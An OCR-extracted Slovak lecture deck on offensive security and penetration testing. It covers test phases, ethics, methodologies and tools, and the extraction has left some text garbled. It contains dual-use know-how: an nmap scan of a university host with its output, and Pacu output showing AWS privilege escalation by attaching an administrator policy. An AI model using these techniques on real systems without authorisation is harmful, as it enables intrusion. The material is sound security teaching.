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Uvod do témy a zakladné pojmy

Ofenzivna bezpecnost’

= Ofenzivna bezpecnost (offensive security)
je subor aktivit, ktoré aktivne hladaju slabé
miesta v systémoch, aplikaciach a
infrastrukture skér, nez ich zneuzije utocnik.

= Nejde len o to ,,hacknut’ systém* — ciefom
je pochopit, ako by to urobil skutoCny utocCnik,
a poskytnut organizacii odporucania, ako
utokom predist.
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Uvod do témy a zakladné pojmy

Co véetko moze ofenziva zahfiiat’?

Nie je to len klasicky pentest. Ofenzivne aktivity maju omnoho
SirSi zaber:

= Penetration testing (web, infra, mobil, cloud, VoIP...)

= Red teaming — simulacia realnej kampane utoCnika

= Purple teaming — spolupraca s obrannym timom na
zlepseni detekcie

= Vyskum zranitelnosti a exploit development

= Socialne inzinierstvo a phishingové kampane

= Fyzickeé testovanie a bypass bezpecnostnych kontrol
= OSINT, recon a profilovanie ciela

= Adversary emulation podla konkrétnych APT skupin

= Testovanie konfiguracii a hardeningu

= Vyvoj nastrojov pre ofenzivu (C2, payloady,
automatizacia)




Uvod do témy a zakladné pojmy

Co je bezpeénostné testovanie

= Systematické preverovanie
odolnosti systemov

= Ciel: ngjst’ a odhalit zranitelnosti (—y [ 35%
= Sucast riadenia kyberneticke; )
bezpecnosti
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Uvod do témy a zakladné pojmy
Ciele testovania

= Overenie urovne ochrany systémov
= |dentifikacia rizik a slabych miest

= Overenie reakcie bezpecnostnych
timov

= Zlepsenie bezpecnostnych procesov




Uvod do témy a zakladné pojmy

Preco je bezpecnostné testovanie dolezité

» |dentifikacia zranitelnosti B TN
. v i n i s st v s . / V\\ﬂxi“%.ﬁi\\
= Odhaluje zranitelnosti skér ako ich zneuziju uto€nici - e O3 )

= Prevencia kybernetickych utokov
= Pomaha predchadzat napadnutiu systémov a sluzieb

= Zabezpecenie dat
= Chrani dovernost, integritu a dostupnost informacii

= Dodrziavanie noriem
= Zabezpecuje sulad s poziadavkami ako GDPR ¢i ISO 27001

= ZlepSenie opatreni
* Prinasa odporucania na posilnenie bezpecnostnych procesov

= Ochrana reputacie
* Predchadza poskodeniu mena organizacie pri incidente
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Uvod do témy a zakladné pojmy

Etické a pravne aspekty

= Etické zasady * Pravne zasady
= Suhlas a zodpovednost = Pisomna zmluva
Testovat' len so suhlasom majitela UrCuje rozsah a obmedzenia testu
= Dovernost = Vyuzivanie zranitelnosti
Zachovat micanlivost Len podla dohodnutého scenara
= Zodpovedné zverejnenie = Dodrziavanie zakonov
Hlasit zranitelnosti iba opravnenym ResSpektovanie legislativy
osobam = Zodpovednost
= Obmedzenie skod Prekroéenie rozsahu = pravne dosledky

Cielom je ochrana, nie utok




Uvod do témy a zakladné pojmy

Typy testovania
» Podla pristupu k informaciam * Podla oblasti testovania
= Black Box = Externé testovanie
Tester nema informacie o systéme Simulacia utoku zvonku
= White Box * Interné testovanie
Tester ma pristup k dokumentacii a kodu Simulacia utoku zvnutra organizacie
= Grey Box = Testovanie aplikacii
Tester ma CiastoCné informacie Hladanie zranitelnosti v aplikaciach
= Fyzické testovanie
Black-Box Grey-Box White-Box . Kontrola fyzického zabezpeéenia

\g

No Knowledge Partial Knowledge Full Knowledge
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Uvod do témy a zakladné pojmy

Timy v testovani

* Red team
= Uto&nici (testuju)
* Blue team
= Obrancovia (monitoruju)

= Purple team
= Spolupraca oboch

%

Red Team

Purple Team

Simulate Collaborative
Real-World Work

Attacks
Knowledge
Sharing

Blue Team

Your
Organisation’s
Defense
System




Uvod do témy a zakladné pojmy

Zhrnutie

= Testovanie = prevencia, nie utok
= Cielom je chranit systémy, data a reputaciu
= Klucova oblast bezpecCnostného cyklu
= |dentifikacia zranitelnosti, prevencia rizik, zlepSovanie opatreni
= Etické a pravne zasady
= Testovat so suhlasom, zachovat dovernost, dodrziavat zakony
= Typy testovania
= Podla pristupu k informaciam
= Black Box / White Box / Grey Box
= Podla oblasti
= Externé, interné, aplikacie, fyzické zabezpecenie
= Hlavné ciele

= Qverit ochranu, identifikovat rizika, otestovat reakcie timov,
Zlepsit' procesy
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Proces penetracného testovania




Proces penetracného testovania

Fazy testu

O NO Ok O =

Planning and Scanning and
Preparation Enumeration

Exploitation Reporting

Priprava
Zber informacii

Skenovanie a enumeracia

Vyhodnotenie zranitelnosti
Vyuzitie zranitelnosti (Exploitation)
Post-exploitation

Reporting

Naprava a nasledné opatrenia

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance
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Proces penetracného testovania l

N\ 7
1. Priprava a dohoda - -
= Definovanie pravidiel testu N/\
= Schvalenie zo strany vedenia ~
= Stanovenie cielov testovania Planning and | = Scanningand  gypioitation  Reporting

Preparation Enumeration

= VVybudovanie zakladov pre uspesny
penetracny test

= Bez vykonavania konkretnych testov

8 Step 4 Step 6
> 22 X2 X DO 4
Step 1 Step 3 Step 5 Step 7
Réconfialsiivics Vulnerability Post- Remediation
Assessment Exploitation and Follow-up
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Proces penetracného testovania

2. Prieskum (Reconnaissance)

W/,

= Zber zakladnych informacii o organizacii a

Strukture

] PaSIVny . Planning .and Scanning ?nd Exploitation Reporting
= Whois, Shodan, Google Dorking Fespurotion.  Enumeration

= Aktivny

= Nmap, ping sweep
= Ciel: Pochopit rozsah a povrch utoku
* Priklady: socialne siete, webstranky, DNS

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance

MINISTERSTVO
NVESTICIL REGIONALNEHO ROZVCJA
A INFORMATIZACH
SLOVENSKE| REPUBLIKY

PLAN [OBNOVY_




Proces penetracného testovania

3. Enumeracia (Enumeration)

= DetailnejSie zistovanie aktivnych systémov a
uctov

= Ciel: detailny technicky zoznam dostupnych
sluzieb, uctov, portov, verzii, konfiguracii a dalSich
komponentov.

= Typ|Cké ¢innosti: Planning and Scanning and

, Preparation Enumeration

= enumeracia portov (Nmap)
= enumeracia sluzieb a verzii (banner grabbing)
= enumeracia pouzivatelov (SMB, LDAP, SSH)

= enumeracia zdielfanych prieCinkov, domén,
DNS z6n

= enumeracia webovych endpointov (Dirbuster,
FFUF)

= zistenie OS, konfiguracii, protokolov, pluginov
= Vysledok:

= Zoznam aktiv, sluzieb a technickych
detailov — “Co vSetko je dostupné?”.

Exploitation Reporting

Vulnerability Post- Remediation

Reconnaissance Assessment Exploitation and Follow-up




Proces penetracného testovania

4. Hodnotenie zranitel'nosti (Vulnerability Assessmen

= faza, v ktorej sa identifikuju, analyzuju a hodnotia
zranitelnosti najdené pocas zberu informacii a
enumeracie.

= Ciel: zistit’, ktoré slabiny existuju, aka je ich
kritickost’ a aky maju dopad na system — a to e on R
este pred pokusom o ich zneuzitie (exploitation).  “preparstion  Enumeration  EXPloitation Reporting

= Zahfia:
= |dentifikaciu zranitel'nosti

= vyuzitie automatizovanych skenerov (Nessus,
OpenVAS, Qualys)

= manualne overovanie slabin zistenych poCas
enumeracie

= Korelaciu a overenie nalezov

= odstranenie false positives

= konsolidacia nalezov z viacerych zdrojov
= Analyzu rizika (Risk Rating)

= CVSS score

= exploitability (ako fahko sa da vyuzit)

= dopad (confidentiality, integrity, availability)
= Prioritizaciu

= triedenie zranitelnosti pTdIa r|2|ka a Tavdepodojnostl

Vulnerability Post- Remediation

Reconnaissance Acsoserment Exploitation and Follow-up

zneuzitia PLAN [0BNOVY] | ©ciioomon




Proces penetracného testovania

5. Vyuzitie zranitel'nosti (Exploitation)

= Faza, kde tester aktivne vyuziva
identifikované zranitelnostsi

= Ciel: preukazat realne riziko a mozny pristup
utoCnika k systemom

= Techniky: socialne inzinierstvo, utoky na ‘Preparstion  Emumeration | ExPloitation | Reporting
hesla, zneuzitie znamych softvérovych chyb

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance
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Proces penetracného testovania

6. Post-exploitation

* Faza po uspesnom preniknuti do systému
» Tester skuma dopad zranitelnosti
= KlucCove aktivity: Preparstion  Enumeration  ExPloitation  Reporting
= Lateralny pohyb
= Eskalacia opravneni

Zber citlivych dat
= Udrzanie pristupu

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance




Proces penetracného testovania A

7. Reporting

= Dokumentovanie zranitelnosti, rizik, ktoréprinasaju a
odporucCania na napravu

= Obsahuje:

= Zhrnutie najdenych problémov

= Popis zranitelnosti a ich dopadu

= Hodnotenie rizik a zavaznosti

= Konkrétne odporucania na napravu
= Pouzitie:

Planning and Scanning and

Preparation Enumeration Exploitation Reporting

= Podklad pre tim zodpovedny za napravu
= Udrziavanie informacii o bezpecnosti
= Pomoc pri dalSej analyze rizik

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance




Proces penetracného testovania

8. Naprava a nasledne opatrenia

* Implementacia oprav a odporucani z
penetracného testu

= Zabezpecenie odstranenia zranitelnosti

Planning and Scanning and

= Proces népravy: Prépsration  Enoraeation L Piowatien Raporeing
= Implementacia oprav h
= Posilnenie bezpecnostnych politik
= Opatovné testovanie

* Preco je to dolezite:
= Znizuje riziko utokov
= Chrani doverné data
= Pomaha splinit bezpecCnostné regulacie
= Posilnuje doveru zakaznikov a partnerov

Vulnerability Post- Remediation
Assessment Exploitation and Follow-up

Reconnaissance




Proces penetracného testovania

Typické chyby pri testovani

= Test bez suhlasu

= Zasahovanie do produkcie

= Nespravne vyhodnotenie nalezov
= Slaby reporting
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Proces penetracného testovania

Uloha penetraéného testera

= Simuluje realne kybernetické utoky, aby odhalil a otestoval zranitelnosti IT
systémov skor, nez ich zneuziju utocnici
= KluCove Cinnosti
* Prieskum
= Analyza
= Exploitacia
= Hodnotenie rizik
= Odporucanie a report
* Potrebné zrucnosti
= Znalost sieti, OS, infrastruktury
* Programovanie

= Aktualne trendy v kybernetickej bezpecnosti
= Eticky a legalny pristup pri testovani




Metodiky a ramce penetracnhého

testovania




Metodiky a ramce penetracného testovania

Metodika

= Zabezpecuje konzistentnost testov
= Umoznuje porovnatelné vysledky

= Zvysuje doveryhodnost testovania
* Podklad pre reporting a audit
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Metodiky a ramce penetracného testovania

Bezné metodiky a standardy penetracného testovania

= PTES - Standard vykonavania
penetracnych testov

» PCI-DSS — Bezpeénost v platobnom - 'SSAF fs:,MhM
sektore (karty) .
= OSSTMM - Metodika testovania (open-
SOUFCG) PTES L .) OWASP
= OWASP - Priru¢ka testovania webovej
bezpednosti V
= NIST SP 800-115 — Praktické usmernenia erowme.
NIST pre testy P oty tests,

= |[SSAF — Ramec hodnotenia bezpecnosti

MINISTERSTVO
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Metodiky a ramce penetracného testovania

PTES

= Ramec pre cely proces penetracneho testu — od dohody az po report

= 7 hlavnych faz:
* Pred zacCatim
= Zber informacii
= Modelovanie hrozieb
= Analyza zranitelnosti
= Vlykonanie utoku
= Post-exploitacna faza
= Reportovanie

Step 1

Step 7 Pre-engagement
Interactions

Reporting

Intelligence
Gathering

O Step 6
Post-
exploitation

PTES

Methodology

,

O Step 5 Step3 O
Exploitation Threat

Modeling

Step 4
Vulnerability
Analysis




Metodiky a ramce penetracného testovania

PCI-DSS

= Globalne forum, ktoré vytvara a rozvija
bezpecnostné Standardy na ochranu platobnych
udajov

= Cielom je zlepsit bezpecnost platobnych dat po
celom svete

= Ako zabezpecuje platby:

Sprava globalnych bezpecnostnych standardov
pre platby

Validacia a zverejnovanie produktov
splnajucich PCI Standardy

Skolenie a certifikacia odbornikov a organizacii

Poskytovanie bezplatnych odporucani a
zdrojov pre bezpecné platby

Vyzaduje vykonavanie bezpecCnostného
testovania

MINISTERSTVO
INVESTICH, RECIONALNEHO ROZVOJA
A INFORMATIZACIE

Continuous
Compliance /
Ongoing
Compliance

Audit

Gap analysis

Fully managed
compliance

Implementation

Risk
Assessment

Documentation



Metodiky a ramce penetracného testovania e

OSSTMM

Open-Source
_ _ _ Security Testing Methodology

= Vyvijané a spravovane organizaciou ISECOM Manual

(Institute for Security and Open Methodologies) oty et
= Ramec urceny pre bezpecnostne audity podla

regulacnych a priemyselnych poziadaviek
= Sluzi ako zaklad pre tvorbu vlastnej metodiky e —

prispésobenej konkrétnym normam a e

regulaciam e
= P&t bezpeénostnych oblasti: e B

= Ludska bezpeénost e .

= Fyzicka bezpecénost e

= Bezdrbtova bezpecnost T v e it el o camt, bt s L B e

although not as towhat was contributed. The we of contibution obecurity in this decument is for the prevention
of biages.

= Bezpecnost telekomunikacii
= Bezpecnost datovych sieti Come B e, AT R e e b e SR e




Metodiky a ramce penetracného testovania

OWASP

* Neziskova organizacia zamerana na
zlepsenie bezpecnosti softvéru
prostrednictvom otvorenej komunity,
vzdelavania a nastrojov PRRTR—— s, Bk R

= Zakladné hodnoty:
y y AO09. Security Logging and : hi il
[ | Otvo ren OSt Monitoring Failures B A02. Cryptographic Failures
= Inovécie
= Globalnost

A08. Software and 0 0 AO3. Injection
. Data Integrity Failures I i
* |ntegrita OWASP
TOP 10 2021 N
AO07. Identification and AO04. Insecure Design
Authentication Failures {é}:s}
AO06. Vulnerable and Outdated Configurations AOS5. Security Misconfiguration
. r - E O KOMPETENG
PLAN _OBNOVY, ICAANEHO ROZVOJA } KYBERNETICKE) Bezr ENOSTI




Metodiky a ramce penetracného testovania

NIST SP 800-115

* PriruCka od NIST pre systematicke testovanie a
hodnotenie bezpecnosti IT systémov

= Ciel: Odhalovat a predchadzat zneuzitiu zranitelnosti

. R IDg,
= Techniky: oY &)
¢’ GOVERN %,
= Skenovanie zranitelnosti & © 4 <
= Penetracné testovanie - .
. - % , N NIST
Hodnotenie bezpecnostnych kontrol D T -
* Fazy penetracneho testovania podla NIST: =2 Framework g
= Prieskum % \ é‘
= |dentifikacia zranitelnosti ASQ
= Vyuzitie zranitelnosti
’ DETECY

= Reportovanie nalezov

,,,,,,,,,
SLOVENSKE| REPUBLIKY



Metodiky a ramce penetracného testovania

ISSAF

= Metodika a ramec pre penetracné (1) Planning & Preparation |
testy a hodnotenie bezpecnosti (2)
informacnych systémov

= Ugel: Poskytnut Struktirovany proces
na identifikaciu rizik, zranitelnosti a
navrh napravnych opatreni

= Hlavné fazy:
1. Planovanie a priprava
2. Hodnotenie
3. Reportovanie a Cistenie artefaktov

Penetration

Testing
Methodology

“-ZmsoOomooup

(3) Reporting, Clean Up and Destroy
Artifacts
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Metodiky a ramce penetracného testovania

Vyber vhodnej metodiky

. , , _ Penetration Testing Methodologies
= Neexistuje univerzalna metodika

= Metodika sa vybera podla prostredia a ciela

. ISSAF OSSTMM
teStova nia A framework for A comprehensive guide
) assessing and improving for security testing and
u P re hl ad i information security. assessment.

= OSSTMM — komplexné a meratelné
hodnotenie bezpecnosti

= OWASP - webové aplikacie, APl a
mobilné aplikacie

= NIST SP 800-115 verejna sprava a PTES \  OWASP
regulované prostredie Wy o g

testing execution. security standards

and best practices.

= PTES - technicky hlboké penetracné testy

= |SSAF — holistické hodnotenie vratane
procesov a ludi NIST 800-115

Provides guidelines for
planning and conducting
security tests.




Nastroje pre ofenzivne bezpecnostné

testovanie
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Nastroje pre ofenzivne bezpeénostné testovanie

Nastroje pre ofenzivne bezpecnostné testovanie

= nastroj = prostriedok

* Prehlad kategorii nastrojov podla predmetu
testu:

A. aplikacné
B. infrastrukturne
C. simulacia utoCnika
= Open-source vs. komercéné
= Automatizacia vs. manualne pouzitie




Nastroje pre ofenzivne bezpec€nostné testovanie

A. Aplikacne testovanie

= A1. Webove aplikacie + API

= Burp Suite, OWASP ZAP, Caido, Nucleli, Nikto
= A2. Mobilné aplikacie

= MOBSF, Oversecured, Frida, Ostorlab




Nastroje pre ofenzivne bezpeénostné testovanie

A1. Webové aplikacie

= Burp Suite
Sluzi ako Proxy - narabanie s HTTP poziadavkami

Mimo zakladnej funkCnosti obsahuje uzitocné moduly ako Repeater a
Intruder

= Rozsiritefny o moduly (vacsina z nich je v platenej licencii)
= Obsahuje automatizované skenovanie zranitelnosti
= Vysoko modularny nastroj (napisany v jazyku Java)
= OWASP ZAP
= Open-source verzia Burp Suite
= Ma vacsiu funkcionalitu ako community verzia Burp Suite (bezplatna)
= Mensi pocet rozsireni pisanych komunitou
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Nastroj burp suite, od spolo€nosti Portswigger. Zobrazenie hlavhého menu s URL adresami

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Crganizer Extensions Learn Software Vulnerability Scanner @ > O {§}

Site map Scope Issues

URL view Crawl paths view W Site map filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders @ n m

(3 fonts.googleapis.com Contents Issues (3) Ll

[ G www.kis.friuniza.sk Host Method  URL Params Status code ~ Length MIME type Title Motes Time requested
— > &/ https:/www.kis.fri.uniza.sk  GET / 200 138191 HTML Domov | KIS | FRI | UNIZA 21:07:.07 15 No...
https kisfriunizask  GET 5= v

(3 1-prezentacny-den-aplikovane-sietove-inz e .
https kis.friunizask  GET /?s={search_term_string v

0-marek-plostica-3-miesto-v-narodno

-maros-pekar-1-miesto-v-narodnom
2-jozef-galbicka-1-miesto-v-narodnor
3-jakub-varga-2-miesto-v-narodnom-
3-nikolas-novak-3-miesto-v-narodnonmn

3-peter-mako-4-miesto-v-narodnom-| n = =

Inspector mm - X o
-jakub-varga-4-miesto-v-narodnom- | Request Response

-tibor-korcsok-2-miesto-v-narodnorr | Pretty Raw Hex & [ Pretty Raw Hex Render & [ n Request attributes : Y %:n
- - - 4
- 1 GET / HTTE/Z 1 HTTPR/Z Z00 OK 2]

S-narodna-kyberbezpecnostna-hra-cy ’ ! ! _ .
. P . 2| Host: www.kis.fri.uniza.sk 2| Server: nginx/1.21.4 Request cookies 3 b §

| aplikovane-sietove-inzinierstvo 3 Cockie: pll langu 3|Date: Sat, 151 Z0Z5 Z0:07:07 GMT

okielawinfo-chec 4 | Content-Type: text/html; charset=UTF-8

ra
ra
4

Request headers

(3 bezpecnostny-audit-kybernetickej-bezpec kielawinfo-checkbox-non-necessary=ves 5 Vary: Accept-Enc q
— . . . . 4| Accept: & ¥-Powered-By: FHF/3.3.14 @
O binconf-range-miesto-kde-sa-kybervojny- text/html, application/xhtml+xml, application/xml; o= 7 Set-Cookie: pll language=sk; expires=Sun, L5 Now Response headers 16 —

2026 20:07:04 GMT; Max—A 3153E000; path=/:
[ HTTPOnly: Secure; secure: SameSite=Lax
Sec-Purpose: prefetc 5| Link: <https: qww.kis.fri.uniza.sk/wp-Json/>;

Upgrade-Insecure-Requests: 1 rel="http: api.w.org/"

(3 category

910

[3 cisco-netacad-instructor-excellence-awarc

[ cisco-netacad-instructor-excellence-aware EEE=aEEmlEE A Ta=THEmE sl £ Lilule
8| Sec-Ch-TUa: "Not A Brand";w="8239", <https://www.kis.fri.uniza.sk/wp-json/wp/v2/page
3 cisco-netacad-ocenenie-instructor-excelle "Chromium";v="142" s/13>; rel="alternate"; title="JSON";
S| Sec-Ch-Ua-Mokile: 70 type="applicat Json”
5 comments 10 | Sec—Ch-TUa-FPlatform: "Windows" 10| Link: <https: w.kis.fri.uniza.sk/>;
— - 11| Sec-Fetch-5ite: none rel=shortlink
(O feed 12 Sec-Fetch-Mode: navigate 11 ¥-Frame-Options: SAMEORIGIN

~ e - - 13| Sec-Fetch-Dest: document 12 X-Content-Type-Options: nosniff
3 cyberheroes-academy-zilinska-univerzita- ] ¥I E

14 | Referer: https:// .kis.fri.uniza.sk/en/homs/ 13 X-¥ss-Protection: l; mode=block
[3 en 15 User—-Agent: I 1la/5.0 (Windows NT 10.0; Wing4: 14 | Strict—-Transport-Security: max-age=3153&£000;
xE4) AppleWshEit/537.3& (EHTHML, like G o) includeSubdomains
[ feed Chroms/142.0.0.0 Safari/537.36 15 | Cache-Contreol: no-store, no-cache, public,
16| Accept-Encoding: gzip, deflate, br must-revalidate

(3 index.php
™ informacne-a-sietove-technoloaie ® {é} €2

0 highlights | (2) {S} € | 2| ohighlights &




Nastroje pre ofenzivne bezpeénostné testovanie

A2. Mobilné aplikacie

= Mobile Security Framework (MobSF)

= Platforma umoznujuca analyzu aplikacii pre OS Android, iOS a Windows
Mobile.

= Staticka analyza (SAST) podporuje binarne subory ako APK, IPA, APPX Ci
priamo zdrojovy kod aplikacie.
= Dynamicka analyza (DAST) podporuje Android a iOS aplikacie (vratane
analyzy sietovej prevadzky)
= Oversecured
= Komercna platforma ktora kombinuje SAST a DAST skenovanie
= Podpora pre iOS a Android

= APl integracie pre Jira a Slack




Nastroje pre ofenzivne bezpeénostné testovanie

Odkazy

= Mobile Security Framework (MobSF)
= https://mobsf.live/

PLAN [OBNOVY,



Nastroj mobsf. Vyhodnotenie mobilnej aplikacie pre Android: Smart UNIZA.

Al MobSF Application Security Scorecard - Smart UNIZA 1.1.4 '#

¥ Security Score @ Risk Rating @& Severity Distribution (%) i Privacy Risk

I High Medium
B nfo ]l Secure

)\ 4

Grade
- B cl -
Security Score 51/100 User/Device Trackers
B Findings
High Medium Info Secure Hotspot
.. MANIFEST
Clear text traffic is Enabled For App
. . . . . . N . CODE
) The App uses the encryption mode CBC with PKCS5/PKCST7 padding. This configuration is vulnerable to padding oracle attacks.
MANIFEST

medium | App can be installed on a vulnerable Android version




Nastroje pre ofenzivne bezpec€nostné testovanie

B. Infrastruktura

= B1. Siet'ové skenovanie, enumeracia a exploitacia
= Masscan, nmap, rustscan
= Metasploit
= B2. Active Directory
= Bloodhound, CrackMapExec, ADSearch
= Responder, Rubeus
= B3. Cloud
= ScoutSuite, CloudMapper, Prowler, Pacu




Nastroje pre ofenzivne bezpec€nostné testovanie

B1. Siet'ové skenovanie a enumeracia

= Masscan
= Rychly skener TCP portov
= Nmap (Zenmap)
= Open-source nastroj na skenovanie siete

= Konfigurovatelny — obmedzenie rychlosti skenu, nastavenie skenovacej
techniky, obchadzanie firewallu

= Vykonava zakladnu enumeraciu zranitelnosti — perl skripty
= Metasploit

= Exploitacna a post-exploitacna platforma
= Obsahuje verejne dostupné a komunitou vytvorené exploity

MINISTERSTVO
INVESTICH, RECIONALNEHO ROZVOJA
A INFORMAT
SLOVEN! BLIKY




[# Zenmap = O *

Scan Tools Profile Help

Target: | 158.193.154.185 - Profile: | Intense 5canS| v Scan Cance
Command: | nmap -T4-A -v 138.193.134.185
Hosts Services Nmap Cutput Ports / Hosts Topology Host Details Scans
0s Host “ nmap -T4 -A -v 138,193,154.185 - Details

(AN EEREEREERESE | Mot shown: 992 filtered tcp porta (no-responae)
FORT STATE SEEVICE VERSION
53/tcp open domain ISC BIND 9.18.41-1~debl2ul (Debian Linux)

| dns-nsid:
|_ bind.version: 9.183.41-l~debl2ul-Debian
80/tcp open http Apache httpd 2.4.65

_http-server-header: Apache/2.4.653 (Debian)

_http-title: Phrack Tribute | 1337

http-methods:

_ Supported Methoda: POST OFTIONS HEAD GET

113/tcp clcoged ident

143/tcp open imap Dovecot imapd

33l-cert: Subject: commeonMName=mail.scal2.cc.uniza.sk

| Subject RAlternative Name: DNS3:mail.ac3lld.cc.uniza.sk

| Issuer: commonMName=E7/organizationName=let's Encrypt/countryName=05
| Public Eey type: ec

| Public Key bita: 256

| Signature Algorithm: ecdza-with-SHA3E4

| Mot walid before: 2025-10-28T07:26:40

| Mot walid after: 2026-01-26T07:26:3%
|

|

|

|

|

MD5: 9f&3 ald3 8550 4004 €6%a 330a 3a63 cls7

SHR-1: fl3e cc9d cedl e3d8 243c 9417 €412 T7dca €160 cidc

_SHA-256: c431 ea2% 6cfc b253 3blb c27% f£fi7b 3354 60ce d06e 3373 52b5 1524 d04d 3ece f2al
_agl-date: TL3 randomness does not repredsnt time

_imap-capabilities: LOGINDISABLEDAQQO1 LITERATL+ IMAP4revl hawve listed post-login capabilitiea Pre-login 5ASL-IR ID OK IDLE S5TARTTLS more LOGIN-
REFERRRLS ENRELE
443/tcp open ss3l/http Apache httpd 2.4.65 ((Debian))
|_http-server-header: Zpache/2.4.853 (Debian)
| sagl-cert: Subject: commonName=1337.3c3l2.cc.uniza.sk
| Subject Rlternative Name: DN5:1337.3c3l2.cc.uniza.sk, DNS:n3tcdatir.scall.cc.uniza.sk
| Issuer: commonMName=E7/organizationName=let's Encrypt/countryName=05
| Public Eey type: ec
| Public Key bita: 25&
| Signature Algorithm: ecdza-with-SHA3E4
| Mot walid before: 2025-10-21T07:45:5%
| Mot walid after: 2026-01-18T07:45:58
| MD5: f315 571c aff9 4d4c 5321 eea5 9737 c7dd
| SHAR-1: 2854 afd0d 51f4 5143 2e4f 8ed3 aalb 237e 5Sec2Z ab32
| SHR-256: 8fbc 5lca 20c% TheS a451 3304 2b4b 4fc7 1944 al4a Tald df5a 3ddf cad7 5250 ecls
| _3sl-date: TL3 randcmness dcoea not repregent time
| http-metheds:
| Suppcrted Metheds: POST QPTICNS HELD GET
|_http-title: Phrack Tribute | 1337

Filter Hosts

Financované PR a2 a e A0 ROZYO KOMPETENENE CENTRUM
Eurépskou niou PLAN OBNOVY, eI : KYBERNETICKE) BEZPECNOSTI
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Nastroje pre ofenzivne bezpeénostné testovanie

B2. Active Directory

= Active Directory je stale najCastejSi ciel utocnikov a red team cvicCeni.

Nastroje:
= Bloodhound & Sharphound
= Zber dat zdomnénového prostredia
= Vlyhodnotenie utoCnych ciest a vektorov prostrednictvom grafov

- I m pac ket Administrator

robb.stark
= /Zbierka Python skriptov pre komunikaciu so sietovymi
protokolmi ako SMB, LDAP, WMI, MSRPC a iné

= Adalanche
= Zobrazenie vztahov v doméne prostrednictvom grafov

= Sluzi na rychlu identifikaciu mlskonflguracu
- I - Om:::nfxs,zzz;:y ::::: ‘

Vagrant
\gdmmijlrato&s/

catelyn.stark
‘_;

eddard stark

PLAN [OBNOVY,




Ukazka z nastroja adalanche, zobrazena je infrastruktura GOAD (Game of Active Directory — ide o lab

pre testovanie zraniteného AD). Zobrazuje vzt'ahy prostrednictvom grafov.

.

Query results X Administrator

robb.stark Vagrant

\wminnl\rmor;/

-—

Located 7 start nodes and 60 end nodes

CallableService
Computer
Container
DomainDNS
Group

Machine

eddard stark

Dnmalldrlins

OrganizationalUnit
User
total nodes in analysis

Builtin - Distributed COM Users

MEERBEN
MHR[[N/
¥, Iy.barath
Bulltnv-,ljemmr: Desktop Users il el
drogon . f
Adminisfrators
DC%ne 84 = Vagrant

WINTERFELL

DragonRider @

e Enterprise Admy )

Admlmslra%‘z z !
Liinkstratorse” 4

Vagrant - |
maesterpycelly Petyer-baelish |

Small Co IciﬁGSlAanNﬁ —
\

Crowdlands lord.varys

Dragéns —

OULmlcclm

B main Adml‘ns 8 ~
B Mh.monuonl
Administgftor

viserys.ta awv

rys.targaryen  Users AcrossTheNarrowSea

Enterprise Adips Actount Operators

S~

ninSDHolder
Targarfen

ain Admins
cersel lannistey

g

rM‘

\3RAAVU’ stan .Malheo\
) DraganStone Builtin - Distributed COM Users
tyron Jannjfler R @

Account Operafors

khal.drogo KingsGual 4

Builtin - Remote D-esklop Users
n

; Bavatheo

Juﬂk\haralneon /
B

jaime. Ianrp’é

missandei

tywin.lannister

ﬁ% Adalanche Open Source (unknown build)
@Ikarlslund.bsky.social / @ @Ikarlslund

AQL Search T

Options &
Node limit

Analysis depth

Max outgoing edges

catelyn.stark

Min edge probability %
Min accumulated
probability %

Prune Island Nodes
v Graph Visualization

Graph layout engine
{HIN

Node labels
Normal

Node size

All same size

Show edge methods on mouse hover

» Ul Settings

» Tools

aryastark

Slal

TERFELL i

‘Bulllln - Remote Desktop Users

Account Operators > 8 \ r'd g,
@ Builtin - Distributed COM Users b
22 :

5:5',53.\8}!{'
ann stark
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B3. Cloud infra

= Prowler

= Auditny nastroj ktory na zaklade standarov dokaze identifikovat nezhody v
konfiguracii
= Podporované prostredia: AWS, Azure, Google Cloud, Kubernetes, M365,
Github, Oracle Cloude a mnohé iné
= ScoutSuite
= Open-source nastroj pre audit cloud prostredi
* Primarna podpora: AWS, Azure a Google Cloud
= Pacu

= Exploitacny nastroj pre prostredie AWS




Exploitacny nastroj pre prostredie AWS

Pacu Pacu (pacu-test:None) > run iam__privesc_scan
Running module iam__privesc_scan...

[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan] CONFIRMED: PutGroupPolicy

Ukazka z néstroja PACU [iam__privesc_scan] CONFIRMED: PutUserPolicy
) et . It , ’ [iam__privesc_scan] Attempting confirmed privilege escalation methods...
identifikacia moznosti v

pripade eskalacie privilegii v
, [iam__privesc_scan] Is there a specific group to target? Enter the nam
prOStreC“ AWS e now or just press enter to enumerate a list of possible groups to choose
from:
[iam__privesc_scan] Found @ groups that the current user belongs to. Choos
e one below.
[iam__privesc_scan] Choose an option:

[iam__privesc_scan] Starting method PutGroupPolicy...

[iam__privesc_scan] Uncaught error, counting this method as a fail: invali
d literal for int() with base 10: ''

[iam__privesc_scan] Method failed. Trying next potential method...
[iam__privesc_scan] Starting method PutUserPolicy...

[iam__privesc_scan] Trying to add an administrator policy to the current u
ser...

[iam__privesc_scan] Successfully added an inline policy named 6qg5152teut
! You should now have administrator permissions.

[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:

Privilege escalation was successful

e, Financované
PR Europskou tGniou
o "

Bl Pacu (pacu-test:None) > i




Nastroje pre ofenzivne bezpeénostné testovanie

C. Adversary Emulation

Simulacie realnych utoCnikov:

= Adversary emulation testuje nie to, Ci systém ma chybu, ale to, Ci
vieme utok odhalit’ vCas.

= Vychadzame z MITRE ATT&CK, kde su popisané taktiky a techniky
realnych utocCnikov.

= Pouziva sa to pri red teamoch, purple teamoch aj ako dlhodoby
bezpecnostny program.

Kategorie:

= C1. Command and Control

= AdaptixC2, Mythic, Covenant, Cobalt Strike
= C2. Breach and Attack Simulation

= Cymulate, AttacklQ, SafeBreach, XM Cyber, Caldera
= C3. Emulacia TTP

= Atomic Red Team

a

@



Nastroje pre ofenzivne bezpeénostné testovanie

C1. Command and Control

= AdaptixC2
= Post-exploitacna platforma podporujuca OS ako MacQOS, Linux, Windows

